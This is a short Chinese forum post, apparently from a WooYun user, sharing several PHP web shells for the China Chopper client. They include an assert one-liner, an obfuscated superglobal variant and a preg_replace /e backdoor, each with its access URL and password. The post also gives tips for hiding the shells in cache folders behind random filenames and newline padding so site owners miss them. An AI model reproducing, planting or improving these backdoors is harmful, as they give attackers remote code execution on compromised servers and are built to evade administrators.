来自乌云的坏虾

我喜欢建在缓存文件夹下面。~aadsSFDSWR~FSDGDFG.php 然后一顿回车，在最后面添加一段

First:1.php

<?php ($_=@$_GET[2]).@$_($_POST[1])?>菜刀里写：http://localhost/1.php?2=assert

密码:1

Second:2.php

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

菜刀里写：http://localhost/2.php?_=assert&__=eval($_POST['pass'])

密码：pass

我发的这些都是网上公开的了，想让人发现不了，就自己整点有意思的。

我现在喜欢用这个

@preg_replace(“/[email]/e”,$_POST['h'],”error”);

?>

菜刀附加数据：

h=@eval($_POST[c]);

密码 c

不过仔细查下preg_replace，还是会被发现。 一样，都是已经被公开的了。